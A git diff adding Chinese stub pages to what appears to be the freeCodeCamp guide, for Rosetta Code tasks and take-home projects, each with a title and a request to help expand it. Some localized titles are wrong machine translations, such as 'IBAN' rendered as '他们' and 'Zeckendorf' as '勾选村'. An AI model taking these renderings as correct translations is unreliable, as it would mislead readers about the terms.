diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md
new file mode 100644
index 0000000000..18c2e439ef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Happy numbers
+localeTitle: 快乐的数字
+---
+## 快乐的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md
new file mode 100644
index 0000000000..8180ea7ba9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Harshad or Niven series
+localeTitle: Harshad或Niven系列
+---
+## Harshad或Niven系列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md
new file mode 100644
index 0000000000..cfca1a8fe0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash from two arrays
+localeTitle: 来自两个数组的哈希
+---
+## 来自两个数组的哈希
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hash-join/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hash-join/index.md
new file mode 100644
index 0000000000..094f72c84d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hash-join/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash join
+localeTitle: 哈希加入
+---
+## 哈希加入
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hash-join/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md
new file mode 100644
index 0000000000..b543b3cc46
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Heronian triangles
+localeTitle: 苍鹭三角形
+---
+## 苍鹭三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md
new file mode 100644
index 0000000000..cd2c475670
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Hofstadter Figure-Figure sequences
+localeTitle: Hofstadter图 - 图序列
+---
+## Hofstadter图 - 图序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md
new file mode 100644
index 0000000000..ad1aa0fce5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Hofstadter Q sequence
+localeTitle: Hofstadter Q序列
+---
+## Hofstadter Q序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md
new file mode 100644
index 0000000000..be5d42444e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md
@@ -0,0 +1,9 @@
+---
+title: I before E except after C
+localeTitle: 我在E之前除了C之后
+---
+## 我在E之前除了C之后
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/iban/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/iban/index.md
new file mode 100644
index 0000000000..e7c162ba94
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/iban/index.md
@@ -0,0 +1,9 @@
+---
+title: IBAN
+localeTitle: 他们
+---
+## IBAN
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/iban/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md
new file mode 100644
index 0000000000..96a7fea379
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Identity matrix
+localeTitle: 身份矩阵
+---
+## 身份矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/index.md
new file mode 100644
index 0000000000..c93e8af2c5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/index.md
@@ -0,0 +1,11 @@
+---
+title: Rosetta Code
+localeTitle: 罗塞塔代码
+---
+## 罗塞塔代码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md
new file mode 100644
index 0000000000..b8f0fa2561
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterated digits squaring
+localeTitle: 迭代的数字平方
+---
+## 迭代的数字平方
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md
new file mode 100644
index 0000000000..dd63e9fd20
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md
@@ -0,0 +1,9 @@
+---
+title: Jaro distance
+localeTitle: Jaro距离
+---
+## Jaro距离
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/jortsort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/jortsort/index.md
new file mode 100644
index 0000000000..6974fb2f85
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/jortsort/index.md
@@ -0,0 +1,9 @@
+---
+title: JortSort
+localeTitle: JortSort
+---
+## JortSort
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/jortsort/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md
new file mode 100644
index 0000000000..16d26c2375
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Josephus problem
+localeTitle: 约瑟夫斯问题
+---
+## 约瑟夫斯问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md
new file mode 100644
index 0000000000..fbac3a4443
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md
@@ -0,0 +1,9 @@
+---
+title: S-Expressions
+localeTitle: S-表达式
+---
+## S-表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md
new file mode 100644
index 0000000000..bd8369afce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Sailors, coconuts and a monkey problem
+localeTitle: 水手，椰子和猴子问题
+---
+## 水手，椰子和猴子问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/sedols/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/sedols/index.md
new file mode 100644
index 0000000000..8e3197338c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/sedols/index.md
@@ -0,0 +1,9 @@
+---
+title: SEDOLs
+localeTitle: SEDOLs
+---
+## SEDOLs
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/sedols/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md
new file mode 100644
index 0000000000..a147166390
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Taxicab numbers
+localeTitle: 出租车号码
+---
+## 出租车号码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md
new file mode 100644
index 0000000000..ecc4c2965c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md
@@ -0,0 +1,9 @@
+---
+title: Tokenize a string with escaping
+localeTitle: 使用转义标记字符串
+---
+## 使用转义标记字符串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md
new file mode 100644
index 0000000000..1c7516fcda
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md
@@ -0,0 +1,9 @@
+---
+title: Top rank per group
+localeTitle: 每组排名最高
+---
+## 每组排名最高
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md
new file mode 100644
index 0000000000..2423b3d631
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md
@@ -0,0 +1,9 @@
+---
+title: Topological sort
+localeTitle: 拓扑排序
+---
+## 拓扑排序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md
new file mode 100644
index 0000000000..13dbd4f05d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md
@@ -0,0 +1,9 @@
+---
+title: Towers of Hanoi
+localeTitle: 河内的塔
+---
+## 河内的塔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md
new file mode 100644
index 0000000000..695bc45702
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Vector cross product
+localeTitle: 矢量交叉产品
+---
+## 矢量交叉产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md
new file mode 100644
index 0000000000..8c4cf73de2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Vector dot product
+localeTitle: 矢量点积
+---
+## 矢量点积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md
new file mode 100644
index 0000000000..f0cac48edb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Word wrap
+localeTitle: 自动换行
+---
+## 自动换行
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md
new file mode 100644
index 0000000000..b3232570aa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md
@@ -0,0 +1,9 @@
+---
+title: Y combinator
+localeTitle: 和组合
+---
+## Y组合子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md
new file mode 100644
index 0000000000..69af4531b1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md
@@ -0,0 +1,9 @@
+---
+title: Zeckendorf number representation
+localeTitle: 勾选村号码表示
+---
+## Zeckendorf号码表示
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md
new file mode 100644
index 0000000000..3fa1c86b55
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Zhang-Suen thinning algorithm
+localeTitle: 张素细化算法
+---
+## 张素细化算法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md
new file mode 100644
index 0000000000..577cbdf443
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Zig-zag matrix
+localeTitle: 之字形矩阵
+---
+## 之字形矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md
new file mode 100644
index 0000000000..a8583841c7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Camper Leaderboard
+localeTitle: 建立一个露营者排行榜
+---
+## 建立一个露营者排行榜
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md
new file mode 100644
index 0000000000..4054dd1206
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Light-Bright App
+localeTitle: 构建一个明亮的应用程序
+---
+## 构建一个明亮的应用程序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md
new file mode 100644
index 0000000000..1d28063029
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Nightlife Coordination App
+localeTitle: 建立夜生活协调应用程序
+---
+## 建立夜生活协调应用程序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md
new file mode 100644
index 0000000000..26160b9f22
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pinterest Clone
+localeTitle: 建立一个Pinterest克隆
+---
+## 建立一个Pinterest克隆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md
new file mode 100644
index 0000000000..e0f7d8a730
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pong Game
+localeTitle: 建立乒乓球比赛
+---
+## 建立乒乓球比赛
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md
new file mode 100644
index 0000000000..1cf7a55ea4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Recipe Box
+localeTitle: 建立配方盒
+---
+## 建立配方盒
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-recipe-box/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md
new file mode 100644
index 0000000000..9283c112c6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Roguelike Dungeon Crawler Game
+localeTitle: 建立一个Roguelike Dungeon Crawler游戏
+---
+## 建立一个Roguelike Dungeon Crawler游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-roguelike-dungeon-crawler-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md
new file mode 100644
index 0000000000..2d9961f8bb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Simon Game
+localeTitle: 建立一个西蒙游戏
+---
+## 建立一个西蒙游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-simon-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
